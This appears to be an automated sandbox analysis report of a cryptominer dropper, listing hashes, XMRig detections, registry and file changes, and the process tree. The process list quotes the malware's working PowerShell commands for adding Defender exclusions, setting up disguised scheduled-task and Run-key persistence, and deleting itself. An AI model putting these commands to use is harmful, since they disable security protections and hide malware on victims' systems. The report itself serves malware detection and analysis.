Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1805s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 476 created 3552 476 Gu3PdXt79NF7EJXJ.exe 55 PID 476 created 3552 476 Gu3PdXt79NF7EJXJ.exe 55 PID 476 created 3552 476 Gu3PdXt79NF7EJXJ.exe 55 PID 476 created 3552 476 Gu3PdXt79NF7EJXJ.exe 55 PID 1988 created 3552 1988 updater.exe 55 PID 1988 created 3552 1988 updater.exe 55 PID 1988 created 3552 1988 updater.exe 55 PID 1988 created 3552 1988 updater.exe 55 PID 2496 created 3552 2496 conhost.exe 55 PID 1988 created 3552 1988 updater.exe 55 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral14/memory/3076-126-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-130-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-131-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-133-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-137-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-139-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-141-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-143-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-145-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-147-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-149-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-151-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-153-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-155-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-157-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-159-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-161-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-163-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-165-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-167-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-169-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-171-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-173-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-175-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-177-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-179-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-181-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-183-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-185-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig behavioral14/memory/3076-187-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 1988 updater.exe -
resource yara_rule behavioral14/memory/3076-123-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-126-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-130-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-131-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-133-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-137-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-139-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-141-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-143-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-145-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-147-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-149-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-151-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-153-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-155-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-157-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-159-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-161-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-163-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-165-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-167-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-169-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-171-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-173-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-175-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-177-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-179-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-181-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-183-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-185-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx behavioral14/memory/3076-187-0x00007FF7B7DF0000-0x00007FF7B85E4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1988 set thread context of 2496 1988 updater.exe 109 PID 1988 set thread context of 3076 1988 updater.exe 115 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe Gu3PdXt79NF7EJXJ.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2804 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 476 Gu3PdXt79NF7EJXJ.exe 476 Gu3PdXt79NF7EJXJ.exe 4340 powershell.exe 4340 powershell.exe 476 Gu3PdXt79NF7EJXJ.exe 476 Gu3PdXt79NF7EJXJ.exe 3200 powershell.exe 3200 powershell.exe 476 Gu3PdXt79NF7EJXJ.exe 476 Gu3PdXt79NF7EJXJ.exe 476 Gu3PdXt79NF7EJXJ.exe 476 Gu3PdXt79NF7EJXJ.exe 1188 powershell.exe 1188 powershell.exe 1988 updater.exe 1988 updater.exe 3192 powershell.exe 3192 powershell.exe 1988 updater.exe 1988 updater.exe 2464 powershell.exe 2464 powershell.exe 1988 updater.exe 1988 updater.exe 1988 updater.exe 1988 updater.exe 2496 conhost.exe 2496 conhost.exe 1988 updater.exe 1988 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 680 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4340 powershell.exe Token: SeDebugPrivilege 3200 powershell.exe Token: SeIncreaseQuotaPrivilege 3200 powershell.exe Token: SeSecurityPrivilege 3200 powershell.exe Token: SeTakeOwnershipPrivilege 3200 powershell.exe Token: SeLoadDriverPrivilege 3200 powershell.exe Token: SeSystemProfilePrivilege 3200 powershell.exe Token: SeSystemtimePrivilege 3200 powershell.exe Token: SeProfSingleProcessPrivilege 3200 powershell.exe Token: SeIncBasePriorityPrivilege 3200 powershell.exe Token: SeCreatePagefilePrivilege 3200 powershell.exe Token: SeBackupPrivilege 3200 powershell.exe Token: SeRestorePrivilege 3200 powershell.exe Token: SeShutdownPrivilege 3200 powershell.exe Token: SeDebugPrivilege 3200 powershell.exe Token: SeSystemEnvironmentPrivilege 3200 powershell.exe Token: SeRemoteShutdownPrivilege 3200 powershell.exe Token: SeUndockPrivilege 3200 powershell.exe Token: SeManageVolumePrivilege 3200 powershell.exe Token: 33 3200 powershell.exe Token: 34 3200 powershell.exe Token: 35 3200 powershell.exe Token: 36 3200 powershell.exe Token: SeIncreaseQuotaPrivilege 3200 powershell.exe Token: SeSecurityPrivilege 3200 powershell.exe Token: SeTakeOwnershipPrivilege 3200 powershell.exe Token: SeLoadDriverPrivilege 3200 powershell.exe Token: SeSystemProfilePrivilege 3200 powershell.exe Token: SeSystemtimePrivilege 3200 powershell.exe Token: SeProfSingleProcessPrivilege 3200 powershell.exe Token: SeIncBasePriorityPrivilege 3200 powershell.exe Token: SeCreatePagefilePrivilege 3200 powershell.exe Token: SeBackupPrivilege 3200 powershell.exe Token: SeRestorePrivilege 3200 powershell.exe Token: SeShutdownPrivilege 3200 powershell.exe Token: SeDebugPrivilege 3200 powershell.exe Token: SeSystemEnvironmentPrivilege 3200 powershell.exe Token: SeRemoteShutdownPrivilege 3200 powershell.exe Token: SeUndockPrivilege 3200 powershell.exe Token: SeManageVolumePrivilege 3200 powershell.exe Token: 33 3200 powershell.exe Token: 34 3200 powershell.exe Token: 35 3200 powershell.exe Token: 36 3200 powershell.exe Token: SeIncreaseQuotaPrivilege 3200 powershell.exe Token: SeSecurityPrivilege 3200 powershell.exe Token: SeTakeOwnershipPrivilege 3200 powershell.exe Token: SeLoadDriverPrivilege 3200 powershell.exe Token: SeSystemProfilePrivilege 3200 powershell.exe Token: SeSystemtimePrivilege 3200 powershell.exe Token: SeProfSingleProcessPrivilege 3200 powershell.exe Token: SeIncBasePriorityPrivilege 3200 powershell.exe Token: SeCreatePagefilePrivilege 3200 powershell.exe Token: SeBackupPrivilege 3200 powershell.exe Token: SeRestorePrivilege 3200 powershell.exe Token: SeShutdownPrivilege 3200 powershell.exe Token: SeDebugPrivilege 3200 powershell.exe Token: SeSystemEnvironmentPrivilege 3200 powershell.exe Token: SeRemoteShutdownPrivilege 3200 powershell.exe Token: SeUndockPrivilege 3200 powershell.exe Token: SeManageVolumePrivilege 3200 powershell.exe Token: 33 3200 powershell.exe Token: 34 3200 powershell.exe Token: 35 3200 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4000 wrote to memory of 2308 4000 cmd.exe 100 PID 4000 wrote to memory of 2308 4000 cmd.exe 100 PID 1188 wrote to memory of 1176 1188 powershell.exe 102 PID 1188 wrote to memory of 1176 1188 powershell.exe 102 PID 1988 wrote to memory of 2496 1988 updater.exe 109 PID 4764 wrote to memory of 2804 4764 cmd.exe 111 PID 4764 wrote to memory of 2804 4764 cmd.exe 111 PID 1988 wrote to memory of 3076 1988 updater.exe 115 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3552
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:476
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4340
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3200
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4000 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1176
